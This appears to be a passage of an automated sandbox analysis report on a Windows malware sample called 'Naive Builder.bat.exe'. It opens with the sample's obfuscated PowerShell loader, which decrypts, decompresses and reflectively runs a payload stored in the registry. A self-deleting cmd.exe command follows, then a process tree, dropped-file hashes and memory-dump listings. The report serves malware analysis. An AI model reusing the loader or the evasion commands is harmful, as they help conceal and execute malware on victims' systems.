'')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              • Hide Artifacts: Hidden Window
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:5220
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe"
                                                                                            4⤵
                                                                                            • System Network Configuration Discovery: Internet Connection Discovery
                                                                                            PID:4996
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              5⤵
                                                                                                PID:1788
                                                                                              • C:\Windows\system32\PING.EXE
                                                                                                PING localhost -n 8
                                                                                                5⤵
                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                • Runs ping.exe
                                                                                                PID:3748
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe"
                                                                                                5⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4672
                                                                                              • C:\Windows\system32\attrib.exe
                                                                                                ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe"
                                                                                                5⤵
                                                                                                • Views/modifies file attributes
                                                                                                PID:2016
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                        1⤵
                                                                                          PID:3332
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                          1⤵
                                                                                            PID:3380
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                              PID:3724
                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                              1⤵
                                                                                              • Suspicious use of UnmapMainImage
                                                                                              PID:3772
                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                              1⤵
                                                                                                PID:3840
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                1⤵
                                                                                                  PID:3864
                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                  1⤵
                                                                                                    PID:4156
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                    1⤵
                                                                                                      PID:4340
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                      1⤵
                                                                                                        PID:5348
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                        1⤵
                                                                                                          PID:2592
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                          1⤵
                                                                                                            PID:2920
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                            1⤵
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:960
                                                                                                          • C:\Windows\system32\SppExtComObj.exe
                                                                                                            C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:5276
                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                              1⤵
                                                                                                                PID:4044
                                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                1⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:4352
                                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                1⤵
                                                                                                                  PID:2456
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                  1⤵
                                                                                                                    PID:1996
                                                                                                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                    1⤵
                                                                                                                      PID:2608

                                                                                                                    Network

                                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                                          Replay Monitor

                                                                                                                          Loading Replay Monitor...

                                                                                                                          Downloads

                                                                                                                          ModuleAnalysisCache

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                          • Size 61KB
                                                                                                                          • SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                          Naive Builder.bat.exe

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe
                                                                                                                          • Size 440KB
                                                                                                                          • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                          __PSScriptPolicyTest_huxv1xpu.2km.ps1

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_huxv1xpu.2km.ps1
                                                                                                                          • Size 60B
                                                                                                                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                          • MD5 SHA1 SHA512 TLSH

                                                                                                                          ucrtbased.dll

                                                                                                                          • Path C:\Windows\System32\ucrtbased.dll
                                                                                                                          • Size 1.8MB
                                                                                                                          • SHA256 203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                          vcruntime140_1d.dll

                                                                                                                          • Path C:\Windows\System32\vcruntime140_1d.dll
                                                                                                                          • Size 52KB
                                                                                                                          • SHA256 8caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                          vcruntime140d.dll

                                                                                                                          • Path C:\Windows\System32\vcruntime140d.dll
                                                                                                                          • Size 162KB
                                                                                                                          • SHA256 7ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                          memory/388-115-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/388-114-0x000002987A2E0000-0x000002987A307000-memory.dmp

                                                                                                                          memory/456-108-0x000001EC01800000-0x000001EC01827000-memory.dmp

                                                                                                                          memory/456-109-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/628-97-0x000002EC4A2A0000-0x000002EC4A2C1000-memory.dmp

                                                                                                                          memory/628-98-0x000002EC4A2D0000-0x000002EC4A2F7000-memory.dmp

                                                                                                                          memory/628-99-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/684-103-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/684-102-0x0000028F302D0000-0x0000028F302F7000-memory.dmp

                                                                                                                          memory/892-111-0x000001A362270000-0x000001A362297000-memory.dmp

                                                                                                                          memory/892-112-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1028-118-0x00000279AC140000-0x00000279AC167000-memory.dmp

                                                                                                                          memory/1028-119-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1080-124-0x0000024FEF730000-0x0000024FEF757000-memory.dmp

                                                                                                                          memory/1080-125-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1108-25-0x0000024B78580000-0x0000024B78818000-memory.dmp

                                                                                                                          memory/1108-7-0x0000024B5AE80000-0x0000024B5AE90000-memory.dmp

                                                                                                                          memory/1108-31-0x0000024B5AE80000-0x0000024B5AE90000-memory.dmp

                                                                                                                          memory/1108-351-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/1108-828-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/1108-28-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/1108-27-0x0000024B5AD90000-0x0000024B5AD9C000-memory.dmp

                                                                                                                          memory/1108-26-0x0000024B78820000-0x0000024B78878000-memory.dmp

                                                                                                                          memory/1108-24-0x0000024B78290000-0x0000024B7857A000-memory.dmp

                                                                                                                          memory/1108-22-0x0000024B771E0000-0x0000024B78286000-memory.dmp

                                                                                                                          memory/1108-20-0x0000024B5AE80000-0x0000024B5AE90000-memory.dmp

                                                                                                                          memory/1108-21-0x0000024B5AE80000-0x0000024B5AE90000-memory.dmp

                                                                                                                          memory/1108-19-0x00007FFDDE9C6000-0x00007FFDDE9C7000-memory.dmp

                                                                                                                          memory/1108-77-0x00007FFDDE9C6000-0x00007FFDDE9C7000-memory.dmp

                                                                                                                          memory/1108-30-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/1108-6-0x0000024B5AE80000-0x0000024B5AE90000-memory.dmp

                                                                                                                          memory/1108-8-0x0000024B76770000-0x0000024B76792000-memory.dmp

                                                                                                                          memory/1108-15-0x0000024B5AE80000-0x0000024B5AE90000-memory.dmp

                                                                                                                          memory/1108-16-0x0000024B5AD60000-0x0000024B5AD8C000-memory.dmp

                                                                                                                          memory/1108-17-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/1108-18-0x00007FFDDDCA0000-0x00007FFDDDD5D000-memory.dmp

                                                                                                                          memory/1168-127-0x0000027F53A90000-0x0000027F53AB7000-memory.dmp

                                                                                                                          memory/1168-128-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1180-130-0x00000230686C0000-0x00000230686E7000-memory.dmp

                                                                                                                          memory/1180-131-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1236-137-0x0000022BF1B60000-0x0000022BF1B87000-memory.dmp

                                                                                                                          memory/1236-138-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1248-140-0x0000016EE58E0000-0x0000016EE5907000-memory.dmp

                                                                                                                          memory/1248-141-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1268-143-0x00000190B0F80000-0x00000190B0FA7000-memory.dmp

                                                                                                                          memory/1268-144-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1340-203-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1340-202-0x0000016B51B40000-0x0000016B51B67000-memory.dmp

                                                                                                                          memory/1352-147-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1352-146-0x00000248C6770000-0x00000248C6797000-memory.dmp

                                                                                                                          memory/1388-150-0x0000018745150000-0x0000018745177000-memory.dmp

                                                                                                                          memory/1388-151-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1436-175-0x0000023D8AA00000-0x0000023D8AA27000-memory.dmp

                                                                                                                          memory/1436-176-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1504-178-0x0000027080200000-0x0000027080227000-memory.dmp

                                                                                                                          memory/1504-179-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1752-182-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1752-181-0x000001A51C770000-0x000001A51C797000-memory.dmp

                                                                                                                          memory/1760-184-0x000001A17BFB0000-0x000001A17BFD7000-memory.dmp

                                                                                                                          memory/1760-185-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1796-187-0x000002A3D95A0000-0x000002A3D95C7000-memory.dmp

                                                                                                                          memory/1796-188-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1804-190-0x000001CC245A0000-0x000001CC245C7000-memory.dmp

                                                                                                                          memory/1804-191-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1920-193-0x00000258DC460000-0x00000258DC487000-memory.dmp

                                                                                                                          memory/1920-194-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1964-196-0x000002204D580000-0x000002204D5A7000-memory.dmp

                                                                                                                          memory/1964-197-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/1980-199-0x000002598E2D0000-0x000002598E2F7000-memory.dmp

                                                                                                                          memory/1980-200-0x00007FFD9EA50000-0x00007FFD9EA60000-memory.dmp

                                                                                                                          memory/2172-59-0x0000019C718D0000-0x0000019C71D2C000-memory.dmp

                                                                                                                          memory/2172-61-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/2172-55-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/2172-56-0x00007FFDDDCA0000-0x00007FFDDDD5D000-memory.dmp

                                                                                                                          memory/2172-79-0x0000019C727C0000-0x0000019C727EE000-memory.dmp

                                                                                                                          memory/2172-80-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/2172-81-0x00007FFDDDCA0000-0x00007FFDDDD5D000-memory.dmp

                                                                                                                          memory/2172-78-0x0000019C72860000-0x0000019C7289C000-memory.dmp

                                                                                                                          memory/2172-76-0x0000019C72BB0000-0x0000019C72D72000-memory.dmp

                                                                                                                          memory/2172-75-0x0000019C72920000-0x0000019C729D2000-memory.dmp

                                                                                                                          memory/2172-68-0x0000019C72810000-0x0000019C72860000-memory.dmp

                                                                                                                          memory/2172-57-0x0000019C70CD0000-0x0000019C71112000-memory.dmp

                                                                                                                          memory/2172-60-0x0000019C71D30000-0x0000019C71DE2000-memory.dmp

                                                                                                                          memory/2172-58-0x0000019C71110000-0x0000019C718CC000-memory.dmp

                                                                                                                          memory/4584-84-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/4584-85-0x00007FFDDDCA0000-0x00007FFDDDD5D000-memory.dmp

                                                                                                                          memory/4584-83-0x0000000140000000-0x0000000140028000-memory.dmp

                                                                                                                          memory/4584-82-0x0000000140000000-0x0000000140028000-memory.dmp

                                                                                                                          memory/4584-95-0x0000000140000000-0x0000000140028000-memory.dmp

                                                                                                                          memory/6060-36-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/6060-35-0x00007FFDDE9C0000-0x00007FFDDEBC9000-memory.dmp

                                                                                                                          memory/6060-32-0x0000000140000000-0x0000000140004000-memory.dmp

                                                                                                                          memory/6060-34-0x0000000140000000-0x0000000140004000-memory.dmp